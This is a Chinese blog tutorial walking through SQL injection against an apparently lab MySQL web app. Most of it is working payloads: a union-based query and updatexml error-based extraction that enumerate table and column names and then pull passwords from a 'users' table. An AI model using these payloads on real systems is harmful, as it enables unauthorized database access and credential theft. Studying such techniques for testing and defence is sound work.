常规漏洞之一SQL注入详解—Hack之路

SQL注入漏洞确定可以注入之后需要做的步骤
   首先我们知道了数据库的名字,我们急需要知道有哪些表,在构造union函数的时候竟然出现了报错,在测试环境上有源码,有报错,也有百度,就很好看出问题出在哪里,我们输入payload:1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#,发现报错大概的意思是,union不能查询另外一个数据库的内容,所以union这个函数算是废了,虽然只是测试环境,但是最好不要对数据库进行修改,使union可用,这样就毫无渗透测试意义
常规漏洞之一SQL注入详解---Hack之路
于是我们便用updatexml函数来尝试,发现updatexml并没有限制,可以用来查询表,于是构造函数Payload:
SELECT * FROM `users` WHERE user_id = 1 and updatexml(1,concat(0x7e,(SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA= ‘root’ LIMIT 1,1),0x7e),1)
这LIMIT0,1函数可以把前面的0换成1和其他数字,可以查询root库中的不同表名,发现在数据库中是不报错的,但是在web注入的时候竟然报错,注意的点在于注入的时候不用加单引号,发现依然报错,之后把root改成database()便顺利查到的表名
常规漏洞之一SQL注入详解---Hack之路

继续构造函数来查询,表里的列有哪些数据库正确查询语句:SELECT * FROM `users` WHERE user_id = 1 and updatexml(1,concat(0x7e,(SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME= ‘users’ LIMIT 1,1),0x7e),1),这次并没有报错,注入也一样没有报错,Payload:’ and updatexml(1,concat(0x7e,(SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME= ‘users’ LIMIT 1,1),0x7e),1)#查询到列名为user和passwrod
常规漏洞之一SQL注入详解---Hack之路

继续构造函数查询数据,查询列名里的数据SQL语句为:SELECT * FROM `users` WHERE user_id = 1 and updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e),1),数据库执行成功,执行注入成功payload:’ and updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e),1)#
常规漏洞之一SQL注入详解---Hack之路

最后了知道表名和列名的情况下就可以用union函数查询本表了,payload:1′ union select user,password from users#

这是SQL注入的一套正常流程,如果存在SQL注入并没有过滤和防火墙的话,这样注入是没问题的

网站地址:https://www.hackzl.cn;发布者:hack之路,转转请注明出处:https://www.hackzl.cn/index.php/2020/09/20/%e5%b8%b8%e8%a7%84%e6%bc%8f%e6%b4%9e%e4%b9%8b%e4%b8%80sql%e6%b3%a8%e5%85%a5%e8%af%a6%e8%a7%a3-hack%e4%b9%8b%e8%b7%af/

发表评论

邮箱地址不会被公开。 必填项已用*标注